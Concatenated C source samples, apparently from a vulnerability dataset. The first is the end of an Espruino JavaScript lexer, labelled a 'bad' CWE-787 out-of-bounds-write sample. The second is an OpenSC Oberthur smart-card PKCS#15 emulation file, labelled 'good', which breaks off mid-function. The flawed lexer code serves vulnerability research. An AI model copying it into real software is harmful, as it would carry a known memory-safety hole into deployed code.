jslSeekTo(0); } /** When printing out a function, with pretokenise a * character could end up being a special token. This * handles that case. */ void jslFunctionCharAsString(unsigned char ch, char *str, size_t len) { if (ch >= LEX_TOKEN_START) { jslTokenAsString(ch, str, len); } else { str[0] = (char)ch; str[1] = 0; } } void jslTokenAsString(int token, char *str, size_t len) { // see JS_ERROR_TOKEN_BUF_SIZE if (token>32 && token<128) { assert(len>=4); str[0] = '\''; str[1] = (char)token; str[2] = '\''; str[3] = 0; return; } switch (token) { case LEX_EOF : strncpy(str, "EOF", len); return; case LEX_ID : strncpy(str, "ID", len); return; case LEX_INT : strncpy(str, "INT", len); return; case LEX_FLOAT : strncpy(str, "FLOAT", len); return; case LEX_STR : strncpy(str, "STRING", len); return; case LEX_UNFINISHED_STR : strncpy(str, "UNFINISHED STRING", len); return; case LEX_TEMPLATE_LITERAL : strncpy(str, "TEMPLATE LITERAL", len); return; case LEX_UNFINISHED_TEMPLATE_LITERAL : strncpy(str, "UNFINISHED TEMPLATE LITERAL", len); return; case LEX_REGEX : strncpy(str, "REGEX", len); return; case LEX_UNFINISHED_REGEX : strncpy(str, "UNFINISHED REGEX", len); return; case LEX_UNFINISHED_COMMENT : strncpy(str, "UNFINISHED COMMENT", len); return; } if (token>=_LEX_OPERATOR_START && token<_LEX_R_LIST_END) { const char tokenNames[] = /* LEX_EQUAL : */ "==\0" /* LEX_TYPEEQUAL : */ "===\0" /* LEX_NEQUAL : */ "!=\0" /* LEX_NTYPEEQUAL : */ "!==\0" /* LEX_LEQUAL : */ "<=\0" /* LEX_LSHIFT : */ "<<\0" /* LEX_LSHIFTEQUAL : */ "<<=\0" /* LEX_GEQUAL : */ ">=\0" /* LEX_RSHIFT : */ ">>\0" /* LEX_RSHIFTUNSIGNED */ ">>>\0" /* LEX_RSHIFTEQUAL : */ ">>=\0" /* LEX_RSHIFTUNSIGNEDEQUAL */ ">>>=\0" /* LEX_PLUSEQUAL : */ "+=\0" /* LEX_MINUSEQUAL : */ "-=\0" /* LEX_PLUSPLUS : */ "++\0" /* LEX_MINUSMINUS */ "--\0" /* LEX_MULEQUAL : */ "*=\0" /* LEX_DIVEQUAL : */ "/=\0" /* LEX_MODEQUAL : */ "%=\0" /* LEX_ANDEQUAL : */ "&=\0" /* LEX_ANDAND : */ "&&\0" /* LEX_OREQUAL : */ "|=\0" /* LEX_OROR : */ "||\0" /* LEX_XOREQUAL : */ "^=\0" /* LEX_ARROW_FUNCTION */ "=>\0" // reserved words /*LEX_R_IF : */ "if\0" /*LEX_R_ELSE : */ "else\0" /*LEX_R_DO : */ "do\0" /*LEX_R_WHILE : */ "while\0" /*LEX_R_FOR : */ "for\0" /*LEX_R_BREAK : */ "return\0" /*LEX_R_CONTINUE */ "continue\0" /*LEX_R_FUNCTION */ "function\0" /*LEX_R_RETURN */ "return\0" /*LEX_R_VAR : */ "var\0" /*LEX_R_LET : */ "let\0" /*LEX_R_CONST : */ "const\0" /*LEX_R_THIS : */ "this\0" /*LEX_R_THROW : */ "throw\0" /*LEX_R_TRY : */ "try\0" /*LEX_R_CATCH : */ "catch\0" /*LEX_R_FINALLY : */ "finally\0" /*LEX_R_TRUE : */ "true\0" /*LEX_R_FALSE : */ "false\0" /*LEX_R_NULL : */ "null\0" /*LEX_R_UNDEFINED */ "undefined\0" /*LEX_R_NEW : */ "new\0" /*LEX_R_IN : */ "in\0" /*LEX_R_INSTANCEOF */ "instanceof\0" /*LEX_R_SWITCH */ "switch\0" /*LEX_R_CASE */ "case\0" /*LEX_R_DEFAULT */ "default\0" /*LEX_R_DELETE */ "delete\0" /*LEX_R_TYPEOF : */ "typeof\0" /*LEX_R_VOID : */ "void\0" /*LEX_R_DEBUGGER : */ "debugger\0" /*LEX_R_CLASS : */ "class\0" /*LEX_R_EXTENDS : */ "extends\0" /*LEX_R_SUPER : */ "super\0" /*LEX_R_STATIC : */ "static\0" ; unsigned int p = 0; int n = token-_LEX_OPERATOR_START; while (n>0 && p<sizeof(tokenNames)) { while (tokenNames[p] && p<sizeof(tokenNames)) p++; p++; // skip the zero n--; // next token } assert(n==0); strncpy(str, &tokenNames[p], len); return; } assert(len>=10); espruino_snprintf(str, len, "?[%d]", token); } void jslGetTokenString(char *str, size_t len) { if (lex->tk == LEX_ID) { espruino_snprintf(str, len, "ID:%s", jslGetTokenValueAsString()); } else if (lex->tk == LEX_STR) { espruino_snprintf(str, len, "String:'%s'", jslGetTokenValueAsString()); } else jslTokenAsString(lex->tk, str, len); } char *jslGetTokenValueAsString() { assert(lex->tokenl < JSLEX_MAX_TOKEN_LENGTH); lex->token[lex->tokenl] = 0; // add final null return lex->token; } int jslGetTokenLength() { return lex->tokenl; } JsVar *jslGetTokenValueAsVar() { if (lex->tokenValue) { return jsvLockAgain(lex->tokenValue); } else { assert(lex->tokenl < JSLEX_MAX_TOKEN_LENGTH); lex->token[lex->tokenl] = 0; // add final null return jsvNewFromString(lex->token); } } bool jslIsIDOrReservedWord() { return lex->tk == LEX_ID || (lex->tk >= _LEX_R_LIST_START && lex->tk <= _LEX_R_LIST_END); } /* Match failed - report error message */ static void jslMatchError(int expected_tk) { char gotStr[30]; char expStr[30]; jslGetTokenString(gotStr, sizeof(gotStr)); jslTokenAsString(expected_tk, expStr, sizeof(expStr)); size_t oldPos = lex->tokenLastStart; lex->tokenLastStart = jsvStringIteratorGetIndex(&lex->tokenStart.it)-1; jsExceptionHere(JSET_SYNTAXERROR, "Got %s expected %s", gotStr, expStr); lex->tokenLastStart = oldPos; // Sod it, skip this token anyway - stops us looping jslGetNextToken(); } /// Match, and return true on success, false on failure bool jslMatch(int expected_tk) { if (lex->tk != expected_tk) { jslMatchError(expected_tk); return false; } jslGetNextToken(); return true; } JsVar *jslNewTokenisedStringFromLexer(JslCharPos *charFrom, size_t charTo) { // New method - tokenise functions // save old lex JsLex *oldLex = lex; JsLex newLex; lex = &newLex; // work out length size_t length = 0; jslInit(oldLex->sourceVar); jslSeekToP(charFrom); int lastTk = LEX_EOF; while (lex->tk!=LEX_EOF && jsvStringIteratorGetIndex(&lex->it)<=charTo+1) { if ((lex->tk==LEX_ID || lex->tk==LEX_FLOAT || lex->tk==LEX_INT) && ( lastTk==LEX_ID || lastTk==LEX_FLOAT || lastTk==LEX_INT)) { jsExceptionHere(JSET_SYNTAXERROR, "ID/number following ID/number isn't valid JS"); length = 0; break; } if (lex->tk==LEX_ID || lex->tk==LEX_INT || lex->tk==LEX_FLOAT || lex->tk==LEX_STR || lex->tk==LEX_TEMPLATE_LITERAL) { length += jsvStringIteratorGetIndex(&lex->it)-jsvStringIteratorGetIndex(&lex->tokenStart.it); } else { length++; } lastTk = lex->tk; jslGetNextToken(); } // Try and create a flat string first JsVar *var = jsvNewStringOfLength((unsigned int)length, NULL); if (var) { // out of memory JsvStringIterator dstit; jsvStringIteratorNew(&dstit, var, 0); // now start appending jslSeekToP(charFrom); while (lex->tk!=LEX_EOF && jsvStringIteratorGetIndex(&lex->it)<=charTo+1) { if (lex->tk==LEX_ID || lex->tk==LEX_INT || lex->tk==LEX_FLOAT || lex->tk==LEX_STR || lex->tk==LEX_TEMPLATE_LITERAL) { jsvStringIteratorSetCharAndNext(&dstit, lex->tokenStart.currCh); JsvStringIterator it = jsvStringIteratorClone(&lex->tokenStart.it); while (jsvStringIteratorGetIndex(&it)+1 < jsvStringIteratorGetIndex(&lex->it)) { jsvStringIteratorSetCharAndNext(&dstit, jsvStringIteratorGetChar(&it)); jsvStringIteratorNext(&it); } jsvStringIteratorFree(&it); } else { jsvStringIteratorSetCharAndNext(&dstit, (char)lex->tk); } lastTk = lex->tk; jslGetNextToken(); } jsvStringIteratorFree(&dstit); } // restore lex jslKill(); lex = oldLex; return var; } JsVar *jslNewStringFromLexer(JslCharPos *charFrom, size_t charTo) { // Original method - just copy it verbatim size_t maxLength = charTo + 1 - jsvStringIteratorGetIndex(&charFrom->it); assert(maxLength>0); // will fail if 0 // Try and create a flat string first JsVar *var = 0; if (maxLength > JSV_FLAT_STRING_BREAK_EVEN) { var = jsvNewFlatStringOfLength((unsigned int)maxLength); if (var) { // Flat string char *flatPtr = jsvGetFlatStringPointer(var); *(flatPtr++) = charFrom->currCh; JsvStringIterator it = jsvStringIteratorClone(&charFrom->it); while (jsvStringIteratorHasChar(&it) && (--maxLength>0)) { *(flatPtr++) = jsvStringIteratorGetChar(&it); jsvStringIteratorNext(&it); } jsvStringIteratorFree(&it); return var; } } // Non-flat string... var = jsvNewFromEmptyString(); if (!var) { // out of memory return 0; } //jsvAppendStringVar(var, lex->sourceVar, charFrom->it->index, (int)(charTo-charFrom)); JsVar *block = jsvLockAgain(var); block->varData.str[0] = charFrom->currCh; size_t blockChars = 1; size_t l = maxLength; // now start appending JsvStringIterator it = jsvStringIteratorClone(&charFrom->it); while (jsvStringIteratorHasChar(&it) && (--maxLength>0)) { char ch = jsvStringIteratorGetChar(&it); if (blockChars >= jsvGetMaxCharactersInVar(block)) { jsvSetCharactersInVar(block, blockChars); JsVar *next = jsvNewWithFlags(JSV_STRING_EXT_0); if (!next) break; // out of memory // we don't ref, because StringExts are never reffed as they only have one owner (and ALWAYS have an owner) jsvSetLastChild(block, jsvGetRef(next)); jsvUnLock(block); block = next; blockChars=0; // it's new, so empty } block->varData.str[blockChars++] = ch; jsvStringIteratorNext(&it); } jsvSetCharactersInVar(block, blockChars); jsvUnLock(block); // Just make sure we only assert if there's a bug here. If we just ran out of memory or at end of string it's ok assert((l == jsvGetStringLength(var)) || (jsErrorFlags&JSERR_MEMORY) || !jsvStringIteratorHasChar(&it)); jsvStringIteratorFree(&it); return var; } /// Return the line number at the current character position (this isn't fast as it searches the string) unsigned int jslGetLineNumber() { size_t line; size_t col; jsvGetLineAndCol(lex->sourceVar, jsvStringIteratorGetIndex(&lex->tokenStart.it)-1, &line, &col); return (unsigned int)line; } /// Do we need a space between these two characters when printing a function's text? bool jslNeedSpaceBetween(unsigned char lastch, unsigned char ch) { return (lastch>=_LEX_R_LIST_START || ch>=_LEX_R_LIST_START) && (lastch>=_LEX_R_LIST_START || isAlpha((char)lastch) || isNumeric((char)lastch)) && (ch>=_LEX_R_LIST_START || isAlpha((char)ch) || isNumeric((char)ch)); } void jslPrintPosition(vcbprintf_callback user_callback, void *user_data, size_t tokenPos) { size_t line,col; jsvGetLineAndCol(lex->sourceVar, tokenPos, &line, &col); if (lex->lineNumberOffset) line += (size_t)lex->lineNumberOffset - 1; cbprintf(user_callback, user_data, "line %d col %d\n", line, col); } void jslPrintTokenLineMarker(vcbprintf_callback user_callback, void *user_data, size_t tokenPos, char *prefix) { size_t line = 1,col = 1; jsvGetLineAndCol(lex->sourceVar, tokenPos, &line, &col); size_t startOfLine = jsvGetIndexFromLineAndCol(lex->sourceVar, line, 1); size_t lineLength = jsvGetCharsOnLine(lex->sourceVar, line); size_t prefixLength = 0; if (prefix) { user_callback(prefix, user_data); prefixLength = strlen(prefix); } if (lineLength>60 && tokenPos-startOfLine>30) { cbprintf(user_callback, user_data, "..."); size_t skipChars = tokenPos-30 - startOfLine; startOfLine += 3+skipChars; if (skipChars<=col) col -= skipChars; else col = 0; lineLength -= skipChars; } // print the string until the end of the line, or 60 chars (whichever is less) int chars = 0; JsvStringIterator it; jsvStringIteratorNew(&it, lex->sourceVar, startOfLine); unsigned char lastch = 0; while (jsvStringIteratorHasChar(&it) && chars<60) { unsigned char ch = (unsigned char)jsvStringIteratorGetChar(&it); if (ch == '\n') break; if (jslNeedSpaceBetween(lastch, ch)) { col++; user_callback(" ", user_data); } char buf[32]; jslFunctionCharAsString(ch, buf, sizeof(buf)); size_t len = strlen(buf); col += len-1; user_callback(buf, user_data); chars++; lastch = ch; jsvStringIteratorNext(&it); } jsvStringIteratorFree(&it); if (lineLength > 60) user_callback("...", user_data); user_callback("\n", user_data); col += prefixLength; while (col-- > 1) user_callback(" ", user_data); user_callback("^\n", user_data); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_158_0
crossvul-cpp_data_good_4401_0
/* * PKCS15 emulation layer for Oberthur card. * * Copyright (C) 2010, Viktor Tarasov <vtarasov@opentrust.com> * Copyright (C) 2005, Andrea Frigido <andrea@frisoft.it> * Copyright (C) 2005, Sirio Capizzi <graaf@virgilio.it> * Copyright (C) 2004, Antonino Iacono <ant_iacono@tin.it> * Copyright (C) 2003, Olaf Kirch <okir@suse.de> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <stdlib.h> #include <string.h> #include <stdio.h> #include "../common/compat_strlcpy.h" #include "pkcs15.h" #include "log.h" #include "asn1.h" #include "internal.h" #ifdef ENABLE_OPENSSL #include <openssl/bio.h> #include <openssl/crypto.h> #include <openssl/x509.h> #include <openssl/x509v3.h> #endif #define OBERTHUR_ATTR_MODIFIABLE 0x0001 #define OBERTHUR_ATTR_TRUSTED 0x0002 #define OBERTHUR_ATTR_LOCAL 0x0004 #define OBERTHUR_ATTR_ENCRYPT 0x0008 #define OBERTHUR_ATTR_DECRYPT 0x0010 #define OBERTHUR_ATTR_SIGN 0x0020 #define OBERTHUR_ATTR_VERIFY 0x0040 #define OBERTHUR_ATTR_RSIGN 0x0080 #define OBERTHUR_ATTR_RVERIFY 0x0100 #define OBERTHUR_ATTR_WRAP 0x0200 #define OBERTHUR_ATTR_UNWRAP 0x0400 #define OBERTHUR_ATTR_DERIVE 0x0800 #define USAGE_PRV_ENC (SC_PKCS15_PRKEY_USAGE_ENCRYPT | SC_PKCS15_PRKEY_USAGE_DECRYPT |\ SC_PKCS15_PRKEY_USAGE_WRAP | SC_PKCS15_PRKEY_USAGE_UNWRAP) #define USAGE_PRV_AUT SC_PKCS15_PRKEY_USAGE_SIGN #define USAGE_PRV_SIGN (SC_PKCS15_PRKEY_USAGE_SIGN | SC_PKCS15_PRKEY_USAGE_NONREPUDIATION) #define USAGE_PUB_ENC (SC_PKCS15_PRKEY_USAGE_ENCRYPT | SC_PKCS15_PRKEY_USAGE_WRAP) #define USAGE_PUB_AUT SC_PKCS15_PRKEY_USAGE_VERIFY #define USAGE_PUB_SIGN (SC_PKCS15_PRKEY_USAGE_VERIFY | SC_PKCS15_PRKEY_USAGE_VERIFYRECOVER) #define PIN_DOMAIN_LABEL "SCM" const unsigned char PinDomainID[3] = {0x53, 0x43, 0x4D}; #define AWP_PIN_DF "3F005011" #define AWP_TOKEN_INFO "3F0050111000" #define AWP_PUK_FILE "3F0050112000" #define AWP_CONTAINERS_MS "3F0050113000" #define AWP_OBJECTS_LIST_PUB "3F0050114000" #define AWP_OBJECTS_LIST_PRV "3F0050115000" #define AWP_OBJECTS_DF_PUB "3F0050119001" #define AWP_OBJECTS_DF_PRV "3F0050119002" #define AWP_BASE_RSA_PRV "3F00501190023000" #define AWP_BASE_RSA_PUB "3F00501190011000" #define AWP_BASE_CERTIFICATE "3F00501190012000" #define BASE_ID_PUB_RSA 0x10 #define BASE_ID_CERT 0x20 #define BASE_ID_PRV_RSA 0x30 #define BASE_ID_PRV_DES 0x40 #define BASE_ID_PUB_DATA 0x50 #define BASE_ID_PRV_DATA 0x60 #define BASE_ID_PUB_DES 0x70 static int sc_pkcs15emu_oberthur_add_prvkey(struct sc_pkcs15_card *, unsigned, unsigned); static int sc_pkcs15emu_oberthur_add_pubkey(struct sc_pkcs15_card *, unsigned, unsigned); static int sc_pkcs15emu_oberthur_add_cert(struct sc_pkcs15_card *, unsigned); static int sc_pkcs15emu_oberthur_add_data(struct sc_pkcs15_card *, unsigned, unsigned, int); static int sc_oberthur_parse_tokeninfo (struct sc_pkcs15_card *, unsigned char *, size_t, int); static int sc_oberthur_parse_containers (struct sc_pkcs15_card *, unsigned char *, size_t, int); static int sc_oberthur_parse_publicinfo (struct sc_pkcs15_card *, unsigned char *, size_t, int); static int sc_oberthur_parse_privateinfo (struct sc_pkcs15_card *, unsigned char *, size_t, int); static int sc_awp_parse_df(struct sc_pkcs15_card *, struct sc_pkcs15_df *); static void sc_awp_clear(struct sc_pkcs15_card *); struct crypto_container { unsigned id_pub; unsigned id_prv; unsigned id_cert; }; struct container { char uuid[37]; struct crypto_container exchange; struct crypto_container sign; struct container *next; struct container *prev; }; struct container *Containers = NULL; static struct { const char *name; const char *path; unsigned char *content; size_t len; int (*parser)(struct sc_pkcs15_card *, unsigned char *, size_t, int); int postpone_allowed; } oberthur_infos[] = { /* Never change the following order */ { "Token info", AWP_TOKEN_INFO, NULL, 0, sc_oberthur_parse_tokeninfo, 0}, { "Containers MS", AWP_CONTAINERS_MS, NULL, 0, sc_oberthur_parse_containers, 0}, { "Public objects list", AWP_OBJECTS_LIST_PUB, NULL, 0, sc_oberthur_parse_publicinfo, 0}, { "Private objects list", AWP_OBJECTS_LIST_PRV, NULL, 0, sc_oberthur_parse_privateinfo, 1}, { NULL, NULL, NULL, 0, NULL, 0} }; static unsigned sc_oberthur_decode_usage(unsigned flags) { unsigned ret = 0; if (flags & OBERTHUR_ATTR_ENCRYPT) ret |= SC_PKCS15_PRKEY_USAGE_ENCRYPT; if (flags & OBERTHUR_ATTR_DECRYPT) ret |= SC_PKCS15_PRKEY_USAGE_DECRYPT; if (flags & OBERTHUR_ATTR_SIGN) ret |= SC_PKCS15_PRKEY_USAGE_SIGN; if (flags & OBERTHUR_ATTR_RSIGN) ret |= SC_PKCS15_PRKEY_USAGE_SIGNRECOVER; if (flags & OBERTHUR_ATTR_WRAP) ret |= SC_PKCS15_PRKEY_USAGE_WRAP; if (flags & OBERTHUR_ATTR_UNWRAP) ret |= SC_PKCS15_PRKEY_USAGE_UNWRAP; if (flags & OBERTHUR_ATTR_VERIFY) ret |= SC_PKCS15_PRKEY_USAGE_VERIFY; if (flags & OBERTHUR_ATTR_RVERIFY) ret |= SC_PKCS15_PRKEY_USAGE_VERIFYRECOVER; if (flags & OBERTHUR_ATTR_DERIVE) ret |= SC_PKCS15_PRKEY_USAGE_DERIVE; return ret; } static int sc_oberthur_get_friends (unsigned int id, struct crypto_container *ccont) { struct container *cont; for (cont = Containers; cont; cont = cont->next) { if (cont->exchange.id_pub == id || cont->exchange.id_prv == id || cont->exchange.id_cert == id) { if (ccont) memcpy(ccont, &cont->exchange, sizeof(struct crypto_container)); break; } if (cont->sign.id_pub == id || cont->sign.id_prv == id || cont->sign.id_cert == id) { if (ccont) memcpy(ccont, &cont->sign, sizeof(struct crypto_container)); break; } } return cont ? 0 : SC_ERROR_TEMPLATE_NOT_FOUND; } static int sc_oberthur_get_certificate_authority(struct sc_pkcs15_der *der, int *out_authority) { #ifdef ENABLE_OPENSSL X509 *x; BUF_MEM buf_mem; BIO *bio = NULL; BASIC_CONSTRAINTS *bs = NULL; if (!der) return SC_ERROR_INVALID_ARGUMENTS; buf_mem.data = malloc(der->len); if (!buf_mem.data) return SC_ERROR_OUT_OF_MEMORY; memcpy(buf_mem.data, der->value, der->len); buf_mem.max = buf_mem.length = der->len; bio = BIO_new(BIO_s_mem()); if (!bio) { free(buf_mem.data); return SC_ERROR_OUT_OF_MEMORY; } BIO_set_mem_buf(bio, &buf_mem, BIO_NOCLOSE); x = d2i_X509_bio(bio, 0); BIO_free(bio); if (!x) return SC_ERROR_INVALID_DATA; bs = (BASIC_CONSTRAINTS *)X509_get_ext_d2i(x, NID_basic_constraints, NULL, NULL); if (out_authority) *out_authority = (bs && bs->ca); X509_free(x); return SC_SUCCESS; #else return SC_ERROR_NOT_SUPPORTED; #endif } static int sc_oberthur_read_file(struct sc_pkcs15_card *p15card, const char *in_path, unsigned char **out, size_t *out_len, int verify_pin) { struct sc_context *ctx = p15card->card->ctx; struct sc_card *card = p15card->card; struct sc_file *file = NULL; struct sc_path path; size_t sz; int rv; LOG_FUNC_CALLED(ctx); if (!in_path || !out || !out_len) LOG_TEST_RET(ctx, SC_ERROR_INVALID_ARGUMENTS, "Cannot read oberthur file"); sc_log(ctx, "read file '%s'; verify_pin:%i", in_path, verify_pin); *out = NULL; *out_len = 0; sc_format_path(in_path, &path); rv = sc_select_file(card, &path, &file); if (rv != SC_SUCCESS) { sc_file_free(file); LOG_TEST_RET(ctx, rv, "Cannot select oberthur file to read"); } if (file->ef_structure == SC_FILE_EF_TRANSPARENT) sz = file->size; else sz = (file->record_length + 2) * file->record_count; *out = calloc(sz, 1); if (*out == NULL) { sc_file_free(file); LOG_TEST_RET(ctx, SC_ERROR_OUT_OF_MEMORY, "Cannot read oberthur file"); } if (file->ef_structure == SC_FILE_EF_TRANSPARENT) { rv = sc_read_binary(card, 0, *out, sz, 0); } else { size_t rec; size_t offs = 0; size_t rec_len = file->record_length; for (rec = 1; ; rec++) { if (rec > file->record_count) { rv = 0; break; } rv = sc_read_record(card, rec, *out + offs + 2, rec_len, SC_RECORD_BY_REC_NR); if (rv == SC_ERROR_RECORD_NOT_FOUND) { rv = 0; break; } else if (rv < 0) { break; } rec_len = rv; *(*out + offs) = 'R'; *(*out + offs + 1) = rv; offs += rv + 2; } sz = offs; } sc_log(ctx, "read oberthur file result %i", rv); if (verify_pin && rv == SC_ERROR_SECURITY_STATUS_NOT_SATISFIED) { struct sc_pkcs15_object *objs[0x10], *pin_obj = NULL; const struct sc_acl_entry *acl = sc_file_get_acl_entry(file, SC_AC_OP_READ); int ii; rv = sc_pkcs15_get_objects(p15card, SC_PKCS15_TYPE_AUTH_PIN, objs, 0x10); if (rv != SC_SUCCESS) { sc_file_free(file); LOG_TEST_RET(ctx, rv, "Cannot read oberthur file: get AUTH objects error"); } for (ii=0; ii<rv; ii++) { struct sc_pkcs15_auth_info *auth_info = (struct sc_pkcs15_auth_info *) objs[ii]->data; sc_log(ctx, "compare PIN/ACL refs:%i/%i, method:%i/%i", auth_info->attrs.pin.reference, acl->key_ref, auth_info->auth_method, acl->method); if (auth_info->attrs.pin.reference == (int)acl->key_ref && auth_info->auth_method == (unsigned)acl->method) { pin_obj = objs[ii]; break; } } if (!pin_obj || !pin_obj->content.value) { rv = SC_ERROR_SECURITY_STATUS_NOT_SATISFIED; } else { rv = sc_pkcs15_verify_pin(p15card, pin_obj, pin_obj->content.value, pin_obj->content.len); if (!rv) rv = sc_oberthur_read_file(p15card, in_path, out, out_len, 0); } }; sc_file_free(file); if (rv < 0) { free(*out); *out = NULL; *out_len = 0; } *out_len = sz; LOG_FUNC_RETURN(ctx, rv); } static int sc_oberthur_parse_tokeninfo (struct sc_pkcs15_card *p15card, unsigned char *buff, size_t len, int postpone_allowed) { struct sc_context *ctx = p15card->card->ctx; char label[0x21]; unsigned flags; int ii; LOG_FUNC_CALLED(ctx); if (!buff || len < 0x24) LOG_TEST_RET(ctx, SC_ERROR_INVALID_ARGUMENTS, "Cannot parse token info"); memset(label, 0, sizeof(label)); memcpy(label, buff, 0x20); ii = 0x20; while (*(label + --ii)==' ' && ii) ; *(label + ii + 1) = '\0'; flags = *(buff + 0x22) * 0x100 + *(buff + 0x23); set_string(&p15card->tokeninfo->label, label); set_string(&p15card->tokeninfo->manufacturer_id, "Oberthur/OpenSC"); if (flags & 0x01) p15card->tokeninfo->flags |= SC_PKCS15_TOKEN_PRN_GENERATION; sc_log(ctx, "label %s", p15card->tokeninfo->label); sc_log(ctx, "manufacturer_id %s", p15card->tokeninfo->manufacturer_id); LOG_FUNC_RETURN(ctx, SC_SUCCESS); } static int sc_oberthur_parse_containers (struct sc_pkcs15_card *p15card, unsigned char *buff, size_t len, int postpone_allowed) { struct sc_context *ctx = p15card->card->ctx; size_t offs; LOG_FUNC_CALLED(ctx); while (Containers) { struct container *next = Containers->next; free (Containers); Containers = next; } for (offs=0; offs < len;) { struct container *cont; unsigned char *ptr = buff + offs + 2; sc_log(ctx, "parse contaniers offs:%"SC_FORMAT_LEN_SIZE_T"u, len:%"SC_FORMAT_LEN_SIZE_T"u", offs, len); if (*(buff + offs) != 'R') return SC_ERROR_INVALID_DATA; cont = (struct container *)calloc(sizeof(struct container), 1); if (!cont) return SC_ERROR_OUT_OF_MEMORY; cont->exchange.id_pub = *ptr * 0x100 + *(ptr + 1); ptr += 2; cont->exchange.id_prv = *ptr * 0x100 + *(ptr + 1); ptr += 2; cont->exchange.id_cert = *ptr * 0x100 + *(ptr + 1); ptr += 2; cont->sign.id_pub = *ptr * 0x100 + *(ptr + 1); ptr += 2; cont->sign.id_prv = *ptr * 0x100 + *(ptr + 1); ptr += 2; cont->sign.id_cert = *ptr * 0x100 + *(ptr + 1); ptr += 2; memcpy(cont->uuid, ptr + 2, 36); sc_log(ctx, "UUID: %s; 0x%X, 0x%X, 0x%X", cont->uuid, cont->exchange.id_pub, cont->exchange.id_prv, cont->exchange.id_cert); if (!Containers) { Containers = cont; } else { cont->next = Containers; Containers->prev = (void *)cont; Containers = cont; } offs += *(buff + offs + 1) + 2; } LOG_FUNC_RETURN(ctx, SC_SUCCESS); } static int sc_oberthur_parse_publicinfo (struct sc_pkcs15_card *p15card, unsigned char *buff, size_t len, int postpone_allowed) { struct sc_context *ctx = p15card->card->ctx; size_t ii; int rv; LOG_FUNC_CALLED(ctx); for (ii=0; ii<len; ii+=5) { unsigned int file_id, size; if(*(buff+ii) != 0xFF) continue; file_id = 0x100 * *(buff+ii + 1) + *(buff+ii + 2); size = 0x100 * *(buff+ii + 3) + *(buff+ii + 4); sc_log(ctx, "add public object(file-id:%04X,size:%X)", file_id, size); switch (*(buff+ii + 1)) { case BASE_ID_PUB_RSA : rv = sc_pkcs15emu_oberthur_add_pubkey(p15card, file_id, size); LOG_TEST_RET(ctx, rv, "Cannot parse public key info"); break; case BASE_ID_CERT : rv = sc_pkcs15emu_oberthur_add_cert(p15card, file_id); LOG_TEST_RET(ctx, rv, "Cannot parse certificate info"); break; case BASE_ID_PUB_DES : break; case BASE_ID_PUB_DATA : rv = sc_pkcs15emu_oberthur_add_data(p15card, file_id, size, 0); LOG_TEST_RET(ctx, rv, "Cannot parse data info"); break; default: LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Public object parse error"); } } LOG_FUNC_RETURN(ctx, SC_SUCCESS); } static int sc_oberthur_parse_privateinfo (struct sc_pkcs15_card *p15card, unsigned char *buff, size_t len, int postpone_allowed) { struct sc_context *ctx = p15card->card->ctx; size_t ii; int rv; int no_more_private_keys = 0, no_more_private_data = 0; LOG_FUNC_CALLED(ctx); for (ii=0; ii<len; ii+=5) { unsigned int file_id, size; if(*(buff+ii) != 0xFF) continue; file_id = 0x100 * *(buff+ii + 1) + *(buff+ii + 2); size = 0x100 * *(buff+ii + 3) + *(buff+ii + 4); sc_log(ctx, "add private object (file-id:%04X, size:%X)", file_id, size); switch (*(buff+ii + 1)) { case BASE_ID_PRV_RSA : if (no_more_private_keys) break; rv = sc_pkcs15emu_oberthur_add_prvkey(p15card, file_id, size); if (rv == SC_ERROR_SECURITY_STATUS_NOT_SATISFIED && postpone_allowed) { struct sc_path path; sc_log(ctx, "postpone adding of the private keys"); sc_format_path("5011A5A5", &path); rv = sc_pkcs15_add_df(p15card, SC_PKCS15_PRKDF, &path); LOG_TEST_RET(ctx, rv, "Add PrkDF error"); no_more_private_keys = 1; } LOG_TEST_RET(ctx, rv, "Cannot parse private key info"); break; case BASE_ID_PRV_DES : break; case BASE_ID_PRV_DATA : sc_log(ctx, "*(buff+ii + 1):%X", *(buff+ii + 1)); if (no_more_private_data) break; rv = sc_pkcs15emu_oberthur_add_data(p15card, file_id, size, 1); if (rv == SC_ERROR_SECURITY_STATUS_NOT_SATISFIED && postpone_allowed) { struct sc_path path; sc_log(ctx, "postpone adding of the private data"); sc_format_path("5011A6A6", &path); rv = sc_pkcs15_add_df(p15card, SC_PKCS15_DODF, &path); LOG_TEST_RET(ctx, rv, "Add DODF error"); no_more_private_data = 1; } LOG_TEST_RET(ctx, rv, "Cannot parse private data info"); break; default: LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Private object parse error"); } } LOG_FUNC_RETURN(ctx, SC_SUCCESS); } /* Public key info: * flags:2, * CN(len:2,value:<variable length>), * ID(len:2,value:(SHA1 value)), * StartDate(Ascii:8) * EndDate(Ascii:8) * ??(0x00:2) */ static int sc_pkcs15emu_oberthur_add_pubkey(struct sc_pkcs15_card *p15card, unsigned int file_id, unsigned int size) { struct sc_context *ctx = p15card->card->ctx; struct sc_pkcs15_pubkey_info key_info; struct sc_pkcs15_object key_obj; char ch_tmp[0x100]; unsigned char *info_blob; size_t len, info_len, offs; unsigned flags; int rv; LOG_FUNC_CALLED(ctx); sc_log(ctx, "public key(file-id:%04X,size:%X)", file_id, size); memset(&key_info, 0, sizeof(key_info)); memset(&key_obj, 0, sizeof(key_obj)); snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", AWP_OBJECTS_DF_PUB, file_id | 0x100); rv = sc_oberthur_read_file(p15card, ch_tmp, &info_blob, &info_len, 1); LOG_TEST_RET(ctx, rv, "Failed to add public key: read oberthur file error"); /* Flags */ offs = 2; if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add public key: no 'tag'"); flags = *(info_blob + 0) * 0x100 + *(info_blob + 1); key_info.usage = sc_oberthur_decode_usage(flags); if (flags & OBERTHUR_ATTR_MODIFIABLE) key_obj.flags = SC_PKCS15_CO_FLAG_MODIFIABLE; sc_log(ctx, "Public key 